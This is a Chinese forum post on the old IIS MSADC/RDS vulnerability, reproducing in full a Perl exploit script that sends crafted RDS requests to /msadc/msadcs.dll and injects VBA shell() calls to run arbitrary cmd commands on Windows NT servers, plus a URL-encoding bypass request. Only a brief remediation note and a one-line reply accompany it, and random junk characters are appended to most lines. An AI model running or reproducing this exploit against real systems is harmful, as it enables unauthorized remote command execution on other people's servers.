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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9NC?J@&B  
>XJUj4B|X  
涉及程序: BIY"{"hJ  
Microsoft NT server `_+%  
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描述: yB5JvD ?  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 4'# ?"I  
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详细: 9$s~ `z)  
如果你没有时间读详细内容的话,就删除: 4o3TW#  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 77H"=  
有关的安全问题就没有了。 :um]a70  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 z]HaE|j}S  
]Ei*I}  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 z2U^z*n{  
关于利用ODBC远程漏洞的描述,请参看: ,(;]8G-Yj  
:y1,OR/k  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #5yz~&  
HAmAmEc,  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 FjV)QP H  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp FSD~Q&9&  
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这里不再论述。 [9d4 0>e  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: _V,bvHWlM  
\\P*w$c   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset C$4!|Wg3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @ MKf$O4K  
a)QSq<2*  
8 -YC#&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ht_'GBS)  
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#!perl srK9B0I  
# jK\AVjn  
# MSADC/RDS 'usage' (aka exploit) script XsGc!  o  
# C;I:?4  
# by rain.forest.puppy ,FL*Z9wA  
# 3YD.Fjz$  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me y`\rb<AZ*t  
# beta test and find errors! gTb%c84  
.~,=?aq^  
use Socket; use Getopt::Std; oH;9s-Be  
getopts("e:vd:h:XR", \%args); 5pH6]$  
u$<>8aMei  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 9>r@wK'Pn  
SNc$!  
if (!defined $args{h} && !defined $args{R}) { _6.Y3+7I  
print qq~ |_m N:(3  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Pos(`ys;  
-h <host> = host you want to scan (ip or domain) h9kwyhd"  
-d <seconds> = delay between calls, default 1 second @tlWyUju  
-X = dump Index Server path table, if available B^@X1EE  
-v = verbose Xbu P_U'  
-e = external dictionary file for step 5 ihd^P]  
UsgrI>|l  
Or a -R will resume a command session s"~3.J  
O+"a 0:GM  
~; exit;}  vg8Yc  
#z =$*\u  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ]cM,m2^2  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} r2m&z%N &  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} [LM9^*sG2V  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 1#KBf[0  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^&KpvQNW_  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } C."\ a_p  
;: 0<(!^*  
if (!defined $args{R}){ $ret = &has_msadc; k:8NOx|s"  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} k [iT']  
dy]ZS<Hz8G  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ]OV}yD2p  
. "cmd /c "; TTGWOC  
$in=<STDIN>; chomp $in; \)i,`bz  
$command="cmd /c " . $in ; 20/P:;  
<>H^:iqn  
if (defined $args{R}) {&load; exit;} U+,RP$r@  
Y=D\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; [ d`m)MW-  
&try_btcustmr; Y+{jG(rg.F  
NUFW SL>  
print "\nStep 2: Trying to make our own DSN..."; `_SV1|=="8  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Z8`Y}#Za[  
dP?QPky{9  
print "\nStep 3: Trying known DSNs..."; ]G Blads  
&known_dsn; ~\+Bb8+hpJ  
dOVu D(  
print "\nStep 4: Trying known .mdbs..."; ` <u2 N  
&known_mdb; @H$Sv   
6w~Cyu4Ov  
if (defined $args{e}){ 1E=E ?$9sg  
print "\nStep 5: Trying dictionary of DSN names..."; x(A8FtG  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } A<+1:@0  
5 zz">-Q !  
print "Sorry Charley...maybe next time?\n";  9XhcA  
exit; 3)y=}jw  
06z+xxCo  
############################################################################## w+$~ ds  
4UHviuOo8  
sub sendraw { # ripped and modded from whisker c7D{^$L9 v  
sleep($delay); # it's a DoS on the server! At least on mine... 1#9PE(!2  
my ($pstr)=@_; 3mhjwgP<nn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || i,wZNX  
die("Socket problems\n"); G5ShheZd  
if(connect(S,pack "SnA4x8",2,80,$target)){ }#S1!TU  
select(S); $|=1; "s}Oeu[  
print $pstr; my @in=<S>; Q CO,f  
select(STDOUT); close(S); ]3~ u @6  
return @in; 1A[(RT]  
} else { die("Can't connect...\n"); }} tIS.,CEQF  
[I}z\3Z %  
############################################################################## ueEf>0  
1024L;  
sub make_header { # make the HTTP request e*Y<m\*  
my $msadc=<<EOT ^!z(IE'  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H5*#=It  
User-Agent: ACTIVEDATA 5_1\{lP  
Host: $ip a(LtiO  
Content-Length: $clen FKUo^F?z  
Connection: Keep-Alive Bj GfUQ  
I&`aGnr^^  
ADCClientVersion:01.06 GT\ yjrCd  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ns]$+|  
jig3M N  
--!ADM!ROX!YOUR!WORLD! bd H+M?k  
Content-Type: application/x-varg z[@i=avPG  
Content-Length: $reqlen m\70&%v  
F"1tPWn  
EOT N 1ydL  
; $msadc=~s/\n/\r\n/g; BkP4.XRI  
return $msadc;} ;*0nPhBw0>  
2@IL  n+#  
############################################################################## %cBOi_}}~  
iNc!z A4  
sub make_req { # make the RDS request Yr>0Qg],  
my ($switch, $p1, $p2)=@_; b1;h6AeL  
my $req=""; my $t1, $t2, $query, $dsn; hM[3l1o{|  
*qu5o5Q  
if ($switch==1){ # this is the btcustmr.mdb query bGkLa/?S  
$query="Select * from Customers where City=" . make_shell(); 56 Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . f8ZuG !U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #lc6-K#  
d2TIG<6/  
elsif ($switch==2){ # this is general make table query ;NE4G;px4<  
$query="create table AZZ (B int, C varchar(10))"; 5A<}*T  
$dsn="$p1";} ydA@@C\&  
5 D=r7  
elsif ($switch==3){ # this is general exploit table query -9;?k{{[T  
$query="select * from AZZ where C=" . make_shell(); {rK]Q! yj  
$dsn="$p1";} (UCCEQq5  
LzD RyL  
elsif ($switch==4){ # attempt to hork file info from index server 4LW~  
$query="select path from scope()"; bI`JG:^b  
$dsn="Provider=MSIDXS;";} bZr,jLEf  
?1zGs2Qs  
elsif ($switch==5){ # bad query q`?M+c*F  
$query="select"; #eX<=H]  
$dsn="$p1";} e=aU9v L  
|KVVPXtq%C  
$t1= make_unicode($query); yPY{ZADkQ  
$t2= make_unicode($dsn); g*`xEb= '  
$req = "\x02\x00\x03\x00"; G:y+yE4  
$req.= "\x08\x00" . pack ("S1", length($t1)); W;l0GxOxQ  
$req.= "\x00\x00" . $t1 ; qHtIjtt[q  
$req.= "\x08\x00" . pack ("S1", length($t2)); Z} t^i^u  
$req.= "\x00\x00" . $t2 ; aGfp"NtL  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; e]CoYuPr  
return $req;} t&NpC;>v  
RWX!d54&  
############################################################################## ,7k-LAA  
ALcPbr  
sub make_shell { # this makes the shell() statement NqGSoOjIO2  
return "'|shell(\"$command\")|'";} 8!HB$vdw7  
~<~ ~C#R  
############################################################################## 74N3wi5B  
Z`86YYGK  
sub make_unicode { # quick little function to convert to unicode HVhP |+  
my ($in)=@_; my $out; ?>iUz.];t  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w^("Pg`  
return $out;} U=7nz|  
J#ClQ%  
############################################################################## qS"#jxc==+  
r ;MFVj{  
sub rdo_success { # checks for RDO return success (this is kludge) Yi)s=Q:  
my (@in) = @_; my $base=content_start(@in); :YOo"3.]  
if($in[$base]=~/multipart\/mixed/){ t`{T:Tjc  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} $4~Z]-38#A  
return 0;} ek U%^R<  
(9kR'kr  
############################################################################## 3Pgokj   
#HW<@E  
sub make_dsn { # this makes a DSN for us vU5}E\Ny  
my @drives=("c","d","e","f"); sHMO9{[7H  
print "\nMaking DSN: "; VumM`SH  
foreach $drive (@drives) { &CSy>7&q  
print "$drive: "; %4Qs|CM)m  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . v;U5[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rGXUV`5Na  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %vm_v.Q4)  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; X,#~[%h$-=  
return 0 if $2 eq "404"; # not found/doesn't exist ZO%iyc%  
if($2 eq "200") { Hb::;[bm:  
foreach $line (@results) { :=TIq  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1_A_)l11  
} return 0;} { PJ>gX$  
Gk/cP`  
############################################################################## mw}Bl; - O  
[ p~,;%  
sub verify_exists { nxx/26{  
my ($page)=@_; &"I csxG  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Dg"szJ-   
return $results[0];} K)se$vb6  
yN0`JI  
############################################################################## y22DBB8  
GN9kCyPK  
sub try_btcustmr { kP^A~ZO.  
my @drives=("c","d","e","f"); XPD1HN!,LT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ?w'86^_z  
xy4+ [u  
foreach $dir (@dirs) { (Nk[ys}%*  
print "$dir -> "; # fun status so you can see progress v3FdlE  
foreach $drive (@drives) { 2<y9xvp  
print "$drive: "; # ditto '21gUYm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; )wCNLi>4  
$reqlenlen=length( "$reqlen" ); T_=WX_h $  
$clen= 206 + $reqlenlen + $reqlen; )7.DF|A  
3Jt# Mp  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); vJ=Q{_D=\  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yz=X{p1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} \q4r/SbgW  
' |B3@9<  
##############################################################################  7gZ}Qy  
Mqvo j7  
sub odbc_error { f7][#EL  
my (@in)=@_; my $base; i}P{{kMJ  
my $base = content_start(@in); ;RX u}pd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8.8t$  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m&gB;g3:  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]d@>vzCO  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3X11Gl  
return $in[$base+4].$in[$base+5].$in[$base+6];} R3l{.{3p2  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7`&ISRU4  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . l v hJ  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &KAe+~aPm  
{, +c  
############################################################################## Ez0zk9  
KXK5\#+L  
sub verbose { dpsc gW{M  
my ($in)=@_; (.V),NKG  
return if !$verbose; dXQC}JA  
print STDOUT "\n$in\n";} 9A} *  
#Xox2{~  
############################################################################## rzn,N FI  
\yFUQq:  
sub save { FX|&o >S(8  
my ($p1, $p2, $p3, $p4)=@_; {&mH fN  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; O>1Cx4s5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; J-,ocO  
close OUT;} )X[2~E  
/ + %  
############################################################################## ^Y%_{   
,!^5w,P:   
sub load { ~'KqiUY  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; y^}u L|=  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #Gg^QJ*  
@p=<IN>; close(IN); ,NS*`F[O  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); .6azUD4  
$target= inet_aton($ip) || die("inet_aton problems"); <?5|(Q"@:  
print "Resuming to $ip ..."; C-;w}  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; PWiUW{7z  
if($p[1]==1) { JHvev,#4  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Yg3nT:K_Y&  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; W_JO~P  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4fC:8\A  
if (rdo_success(@results)){print "Success!\n";} ?SElJ? Z  
else { print "failed\n"; verbose(odbc_error(@results));}} qJrKt=CE  
elsif ($p[1]==3){ $=N?[h&4  
if(run_query("$p[3]")){ ceJi|`F  
print "Success!\n";} else { print "failed\n"; }} ?X6}+  
elsif ($p[1]==4){ ]4en |Aq  
if(run_query($drvst . "$p[3]")){ 4,c6VCw3+  
print "Success!\n"; } else { print "failed\n"; }} Z%B6J>;uM  
exit;} ybE 2N  
W Eif&<Y  
############################################################################## pC>h"Hy  
">z3i`#C'  
sub create_table { I*3}erT  
my ($in)=@_; o!":mJy  
$reqlen=length( make_req(2,$in,"") ) - 28; y7fy9jQ 8.  
$reqlenlen=length( "$reqlen" ); SnmUh~`L~  
$clen= 206 + $reqlenlen + $reqlen; 7\,9Gcv1  
my @results=sendraw(make_header() . make_req(2,$in,"")); bC1G5`v_D  
return 1 if rdo_success(@results); iI";m0Ny  
my $temp= odbc_error(@results); verbose($temp); Gw$5<%sB  
return 1 if $temp=~/Table 'AZZ' already exists/; dM^Z,; u  
return 0;} #Ir?v  
0O>ClE~P  
############################################################################## R8Vf6]s_  
Q'jw=w!|g  
sub known_dsn { n@p@ @  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Rt+-ud{O  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", > ]^'h  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", uI/ wR!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); qrlC U4  
9DNp  
foreach $dSn (@dsns) { tj[E!  
print "."; &~Hed_  
next if (!is_access("DSN=$dSn")); znwKwc8,  
if(create_table("DSN=$dSn")){ 3wq<@dRv4  
print "$dSn successful\n"; -m%`Di!E  
if(run_query("DSN=$dSn")){ d9M[]{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c:Nm!+5_(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} f(Of+>   
' 1gfXC  
############################################################################## Wq1 jTIQ  
R/ZScOW[  
sub is_access { 2]]v|Z2M4  
my ($in)=@_; KddCR&  
$reqlen=length( make_req(5,$in,"") ) - 28; PVBz~rG  
$reqlenlen=length( "$reqlen" ); ^x: lB>  
$clen= 206 + $reqlenlen + $reqlen; C'#)mo_@t  
my @results=sendraw(make_header() . make_req(5,$in,"")); bPU i44P  
my $temp= odbc_error(@results); r_#dh  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); zR^Gy"  
return 0;} gYc]z5`  
M>]A! W=  
############################################################################## Zob/H+]  
hcj}6NXc  
sub run_query { I'BhN#GhX  
my ($in)=@_; S-7&$n  
$reqlen=length( make_req(3,$in,"") ) - 28; Wjw ,LwB  
$reqlenlen=length( "$reqlen" ); aIV / c  
$clen= 206 + $reqlenlen + $reqlen; x1.S+:  
my @results=sendraw(make_header() . make_req(3,$in,"")); /q]rA  
return 1 if rdo_success(@results); + '_t)k^  
my $temp= odbc_error(@results); verbose($temp); LnI  
return 0;} p2i?)+z  
+SH{`7r  
############################################################################## F#sm^%_2  
Z_\p8@3aH  
sub known_mdb { MVsFi]-  
my @drives=("c","d","e","f","g"); akzGJ3g  
my @dirs=("winnt","winnt35","winnt351","win","windows"); y(p_Unm  
my $dir, $drive, $mdb; r[a7">n  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; "^n,(l*4x  
eMJ>gXA]  
# this is sparse, because I don't know of many Zp9. ~&4o-  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 4 V')FGB$  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Dp ](?Yr  
"\\system32\\certmdb.mdb", rR> X<  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%  S=(O6+U  
tTLg;YjN  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0 5`"U#`:  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kO}&Oi,?  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", xV)[C )6  
"\\cfusion\\cfapps\\security\\realm_.mdb", }oRBQP^&K  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", dz] 5s  
"\\cfusion\\database\\cfexamples.mdb", m0"K^p  
"\\cfusion\\database\\cfsnippets.mdb", tX{yR'Qhu  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", pa[/6(  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ~P1~:AT  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ecghY=%  
"\\cfusion\\database\\smpolicy.mdb", Hsf::K x  
"\\cfusion\\database\cypress.mdb", _5jT}I<k  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", E^axLp>(I  
"\\website\\cgi-win\\dbsample.mdb", 8Y?M:^f~  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >1Z"5F7=  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ?BnU0R_r]  
); #these are just (j&:  
foreach $drive (@drives) { \!-BR0+y;  
foreach $dir (@dirs){ N]A# ecm  
foreach $mdb (@sysmdbs) { (jM0YtrD  
print "."; "]+g5G  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JL1ajlm~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; WEimJrAn  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ^Co$X+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >X*tMhcb  
} else { print "Something's borked. Use verbose next time\n"; }}}}} f~`=I NrU  
-Uwxmy+  
foreach $drive (@drives) { J?QS7#!%  
foreach $mdb (@mdbs) { -b(DPte  
print "."; { qNPhi  
if(create_table($drv . $drive . $dir . $mdb)){ HeRi67  
print "\n" . $drive . $dir . $mdb . " successful\n"; L=r*bq  
if(run_query($drv . $drive . $dir . $mdb)){ *VZ|Idp  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; hH8&g%{2  
} else { print "Something's borked. Use verbose next time\n"; }}}} $ F2Uv\7=  
} ]ordqulq1  
c{1;x)L  
############################################################################## ^,>w`8  
=*2,^j  
sub hork_idx { P0m3IH)  
print "\nAttempting to dump Index Server tables...\n"; xh;V4zK@`  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; e5|lz.o;  
$reqlen=length( make_req(4,"","") ) - 28; FZr/trP~  
$reqlenlen=length( "$reqlen" ); 9zu;OK%  
$clen= 206 + $reqlenlen + $reqlen; )/T[Cnx.Nc  
my @results=sendraw2(make_header() . make_req(4,"","")); pH1!6X  
if (rdo_success(@results)){ D0D=;k   
my $max=@results; my $c; my %d; Z}J5sifr  
for($c=19; $c<$max; $c++){ 513,k$7  
$results[$c]=~s/\x00//g; r )F;8(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h.jJAVPi  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }aZuCe_  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; >HP `B2Q H  
$d{"$1$2"}="";} l|P"^;*zq  
foreach $c (keys %d){ print "$c\n"; } Yj/afn(Jt  
} else {print "Index server doesn't seem to be installed.\n"; }} 'NEl`v*<P  
u^" I3u8$  
############################################################################## \Z[1m[{  
)6OD@<r{  
sub dsn_dict { ?[ xgt )  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Hr|f(9xA  
while(<IN>){ <^5!]8*O  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; IOy0WHl|  
next if (!is_access("DSN=$dSn")); &9L4 t%As  
if(create_table("DSN=$dSn")){ /( Wq  
print "$dSn successful\n"; zBF~:Uc`B  
if(run_query("DSN=$dSn")){ u_(~zs.N]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;tjOEmIiU  
print "Something's borked. Use verbose next time\n";}}} `JySuP2~/  
print "\n"; close(IN);} 36 "n7  
cb}"giXQTB  
############################################################################## (Xd8'-G$m  
NAGM3{\5v$  
sub sendraw2 { # ripped and modded from whisker |N.2iN:  
sleep($delay); # it's a DoS on the server! At least on mine... _f1o!4ocx  
my ($pstr)=@_; QL?_FwZL  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z 6:Wh  
die("Socket problems\n"); 0HzqU31%l@  
if(connect(S,pack "SnA4x8",2,80,$target)){ AkhG~L  
print "Connected. Getting data"; (8d uV  
open(OUT,">raw.out"); my @in; 9LDv?kYr  
select(S); $|=1; print $pstr; k9Pvh,_wp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 17LhgZs&  
close(OUT); select(STDOUT); close(S); return @in; smP4KC"I(d  
} else { die("Can't connect...\n"); }} *_(X$qfoW  
Nu5|tf9%A  
############################################################################## %5o2I_Cjz  
)l3Uf&v^f  
sub content_start { # this will take in the server headers <!OBpAq  
my (@in)=@_; my $c; I652Fcj  
for ($c=1;$c<500;$c++) { ^/f~\ #R  
if($in[$c] =~/^\x0d\x0a/){ 7EJ2 On  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } PTQ#8(_,  
else { return $c+1; }}} Ds9)e&yYrb  
return -1;} # it should never get here actually `2lS@  
K"#$",}=  
############################################################################## (Ou%0 KW  
GAz -yCJp  
sub funky { kpm;ohd  
my (@in)=@_; my $error=odbc_error(@in); >Bt82ibN  
if($error=~/ADO could not find the specified provider/){ M5dYcCDE  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; NkZG   
exit;} bZqTT~'T  
if($error=~/A Handler is required/){ J=g)rd[`  
print "\nServer has custom handler filters (they most likely are patched)\n"; =RoG?gd{R  
exit;} eV9U+]C`  
if($error=~/specified Handler has denied Access/){ pv_o4qEN  
print "\nServer has custom handler filters (they most likely are patched)\n"; =rjU=3!&(  
exit;}} dSM\:/t  
O0  'iq^g  
############################################################################## yW_yHSx;  
@!8aZB3odt  
sub has_msadc { jLAEHEs  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z0z@LA4k6@  
my $base=content_start(@results); Qb536RpcTY  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); E&M(QX5  
return 0;} c;l!i-  
XiUq#84Q  
######################## UP~28%>X  
`m,4#P-kj  
(MwRe?Ih  
解决方案: ,}oAc  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ;Afz`Se1@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 + G@N  
0vY_  
拿出来充数 哈哈
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